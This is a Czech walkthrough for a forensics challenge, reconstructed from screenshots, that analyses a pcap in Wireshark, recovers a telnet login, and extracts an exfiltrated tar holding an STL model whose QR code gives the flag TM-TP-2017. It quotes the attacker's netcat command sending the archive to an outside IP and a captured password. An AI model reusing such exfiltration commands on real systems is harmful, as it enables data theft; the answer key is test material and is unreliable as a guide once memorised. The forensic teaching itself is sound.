Řešení:

- 1. Dodaný soubor pcap otevřeme v programu wireshark
- 2. Najdeme komunikaci mezi stanicí 192.168.195.138 a serverem 192.168.195.203

	stolen	data.pc	apng															_		>	<
Fil	e Edit	View	Go	Сар	ture	Ana	lyze	Statis	tics	Tel	epho	ony	Wirele	55	Tools	Help					
		۲	010	X	C	٩ <	⊨ ⇒	⇒	Ŷ	J.			$\oplus$ $\Theta$	9							
	tcp.stream eq 0 Expression															÷					
No		Time		5	Source				1	Destin	ation				Protocol	Length	Info				^
Г	1	0.000	00000	0 1	92.1	68.1	95.13	8		192.1	168.	195	. 203		TCP	74	38656→23	[SYN]	Seq=0		
	2	0.000	18902	6 1	192.1	68.1	95.20	3	1	192.1	168.	195	.138		TCP	74	23→38656	[SYN,	ACK] S		
	3	0.000	62013	1 1	92.1	68.1	95.13	8		192.1	168.	195	. 203		TCP	66	38656→23	[ACK]	Seq=1		
	4	0.001	05506	3 1	192.1	68.1	95.13	8		192.1	168.	195	. 203		TELNET	93	Telnet D	ata			
	5	0.001	07800	4 1	192.1	68.1	95.20	)3	1	192.1	168.	195	.138		TCP	66	23→38656	[ACK]	Seq=1		
	10	0.039	24997	0 1	192.1	68.1	95.20	)3	1	192.1	168.	195	.138		TELNET	78	Telnet D	ata			
	11	0.039	48414	8 1	192.1	68.1	95.13	8		192.1	168.	195	. 203		TCP	66	38656→23	[ACK]	Seq=28		
	12	0.039	50102	5 1	192.1	68.1	95.20	)3		192.1	168.	195	.138		TELNET	105	Telnet D	ata			~
> > >	Ethern Intern Transm	et II, et Pro ission	, Src otoco n Cont	: Vmw l Ver trol	are_0 sion Proto	0f:62 4, 9 0col,	2:b8 Src: , Src	(00:0 192.: Por	0c:2 168. t: 1	9:0f 195. 8656	:62 138 5, D	:b8) , Ds st P	, Dst t: 192 Port: 2	: Vr 2.10 23,	mware_1 58.195. Seq: 0	8:29:59 203 , Len: (	(00:0c:29	9:18:29	9:59)		
L																					
00	00 00	0c 29	18 2	29 59	00 0	0C 2	29 0†	62 I	08 0	8 00	45	10	•••)	.)Y.	).b.	E.					
00	20 63	5C /1	2 00 0	10 00	40 t	90 E	7 53	00 0	30 0	0 00	0	80		-@•(	ψ σ<						
00	30 72	10 ff	94 0	0 00	02 0	34 6	95 b4	04 0	32 6	8 Øa	00	102	r								
00	40 18	6e 00	00 0	00 00	01 0	03 Q	03 07						.n.								
	) 🛛 :	stolen_da	ata									Packe	ts: 238 ·	Disp	olayed: 15	7 (66.0%)	· Load time:	0:0.16	Profile: D	efault	

3. Je patrné, že se jedná o telnet spojení, obsah komunikace zobrazíme pomocí funkce Follow TCP stream.

Wireshark · Follow TCP Stream (tcp.stream eq 0) · stolen_data	-		×								
	\$ ts/18		^								
<pre>* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage</pre>											
242 packages can be updated. 4 updates are security updates.											
<pre>*** System restart required *** .]0;cadmaster@ubuntu:~\$ ccdd pprroojjee .</pre>	cts/										
.]0;cadmaster@ubuntu: ~/projects.cadmaster@ubuntu:~/projects\$ tar o kyber/*tar cvf kyber.tar kyber/*	:vf kyb	per.tar									
<pre>. kyber/ks-component.stl .]0;cadmaster@ubuntu: ~/projects\$ nc -w 3 41.245.245.2 80 <kyber.tarnc -w="" 3="" 41.245.245.2="" 80="" <kyber.tar<="" pre=""></kyber.tarnc></pre>											
.]0;cadmaster@ubuntu: ~/projects.cadmaster@ubuntu:~/projects\$ <mark>rm kyber.tar</mark> rm kyber.tar											
.]0;cadmaster@ubuntu: ~/projects.cadmaster@ubuntu:~/projects\$ eexxiitt											
Logout			¥								
49 client pkt(s), 48 server pkt(s), 73 turn(s).	•	Stream									
Eind:		Find Net	vt								
Filter Out This Stream Print Save as Back Zav	/řít	Nápově	da								

4. Ze zjištěných údajů je možné odpovědět na doplňující otázku – útočník se přihlásil jako <u>cadmaster</u> s heslem <u>design123er</u>. Dále je možno zjistit, že útočník zaarchivoval složku projects/kyber/ do souboru kyber.tar. Tento soubor následně odeslal na adresu 41.245.245.2.

Z výše uvedeného plyne odpověď na druhou doplňující otázku – <u>Afrika</u>. *Rozsah 41.0.0.0* spravuje AFRINIC a tuto konkrétní adresu lokační služby řadí většinou do Nigérie (některé ale i do JAR nebo Kamerunu proto je vhodnější odpověď na úrovni kontinentu)

📴 Free Produ	uct Demo   IP2L 🗙												
$\leftrightarrow$ $\Rightarrow$ C (		mo											
Apps ★ B	ookmarks 📙 blender/cryengine	, TREND 🔜 elektro 🖪 Brookings - Quality. Ir 🔜 security 🔜 RC	📙 java										
	IP Address	41.245.245.2											
	Location	Nigeria, Lagos, Lagos											
	Location     Image: Nigeria, Lagos, Lagos       Latitude & Longitude     6.453060, 3.395830 (6°27'11"N 3°23'45"E)												
	ISP	Intercellular Nigeria Ltd											
	Local Time	22 Feb, 2017 11:12 AM (UTC +01:00)											
	Domain	intercellular.com											

5. Na základě poznatků z předchozího bodu vyhledáme komunikaci mezi 192.168.195.203 a 41.245.245.2, která obsahuje soubor odeslaný příkazem nc.

	stole	en_da	ta.pca	png																		_			×	<
Fi	le Ec	lit	View	Go	Cap	ture	Ana	alyze	S	tatis	tics	Т	elepł	nony	Wi	reless	; 1	iools H	Help							
		<u>a</u> (	0	010	×	C	9	÷ 1	ا چ	Ð	Ŷ	Ð			Ð	Q	€									
	Apply a display filter < Ctrl-/> Expression   +															+										
No		Ti	me		s	ource					1	Dest	inatio	n			1	Protocol	Length	Info						^
	15	60 69	9.685	58580	54 1	92.1	68.1	.95.	203		:	192	.168	3.195	5.13	8		TELNET	68	Telnet	Da	ta				
	15	51 69	9.685	79964	45 1	92.1	68.1	.95.	138			192	.168	3.199	5.20	3		тср	66	38656→2	3	[ACK]	Seq	=20		
Г	15	52 69	9.686	70269	97 1	92.1	68.1	.95.	203			41.	245.	245	2			тср	74	52402→8	0	[SYN]	Seq=	=0		
	15	53 69	9.687	14032	22 4	1.24	5.24	15.2				192	.168	3.199	5.20	3		тср	74	80→5240	2	[SYN,	ACK]	] S		
	15	54 69	9.687	15578	31 1	92.1	68.1	.95.	203			41.	245.	245	2			тср	66	52402→8	0	[ACK]	Seq	=1		
	15	55 69	9.687	23020	37 1	92.1	68.1	.95.	203			41.	245.	245	2			тср	2114	52402→8	0	[PSH,	ACK]	] S		
	15	56 69	9.687	28572	23 1	92.1	68.1	.95.	203			41.	245.	245	2			тср	1514	52402→8	0	[ACK]	Seq	=20		
	15	57 69	9.687	3250:	12 1	92.1	68.1	.95.	203		4	41.	245.	245	.2			ТСР	1514	52402→8	0	[ACK]	Seq:	=34		×
> > >	<ul> <li>&gt; Frame 152: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface 0</li> <li>&gt; Ethernet II, Src: Vmware_18:29:59 (00:0c:29:18:29:59), Dst: Vmware_0f:62:b8 (00:0c:29:0f:62:b8)</li> <li>&gt; Internet Protocol Version 4, Src: 192.168.195.203, Dst: 41.245.245.2</li> <li>&gt; Transmission Control Protocol, Src Port: 52402, Dst Port: 80, Seq: 0, Len: 0</li> </ul>																									
																										_
0	000	00 0	c 29	0f 6	2 68	00 0	∂c : ⊃c	29 :	18 2	29 5	9 0	8 6	304 	5 00		).t	b	.).)Y.	.E.							
0	970 ·	00 3 f5 0	2 66	45 4 h2 0	0 00	- 40 t	26 ( hh	ат ( 50 -	0a ( F1 (	10 a NA 0	18 0	0 0	10 Z	9 T5 0 02		.<.E(	.@.		•)•							
0	a30 ·	72 1	0 a3	9a 0	0 00	02 0	a4 (	05 I	b4 6	60 C	12 0	8 6	0a 0	0 42					B							
0	040	e8 b	4 00	00 0	0 00	01 0	a3 /	03 (	87																	
(	2	stol	en_dat	ta										Pack	ets: 1	238 · C	Displa	ayed: 238	3 (100.0%	) • Load tin	ne:	0:0.8	Prof	file: De	fault	

6. Funkcí Follow TCP stream zobrazíme obsah komunikace, která obsahuje přenesený soubor a následně ji uložíme do souboru např. opět kyber.tar pomocí funkce "Save as". Je důležité uložit data jako RAW (viz volba "show and save data as").



7. Výsledný soubor je archivem .tar, který obsahuje hledaný soubor:

Z C:\tn	np\ks.tar\	kyber\								-		×		
Soubor	Úpravy	Zobrazení	Oblíbené	Nástroje	Nápo	věda								
	l.		$\checkmark$	•		⇒ _	×	ī						
Přidat	Ro	zbalit Zk	ontrolovat	Kopírovat	Pře	sunout	Vymazat	Informace						
🦻 📙	C\\tmp\ks.tar\kyber\													
Název			Velikost	Komprime	van	Změněn	1	Režim	Uživatel	Skupina	Odl	az		
🖒 ks-co	mponent.	stl	247 134	24	17 296	2017-02	-21 23:14	0rwxrw-r	cadmaster	cadmaster				
<												>		
vybráno 0	objekt(ů)													

8. Samotný soubor je 3d model .stl, který obsahuje QR kód:



9. Přímo z modelu kód pravděpodobně nepůjde naskenovat – je možné udělat screenshot a následně upravit např. v paintu



10. Dále naskenovat mobilem nebo některou z online aplikací: Správné řešení je TM-TP-2017



QR Code scanner

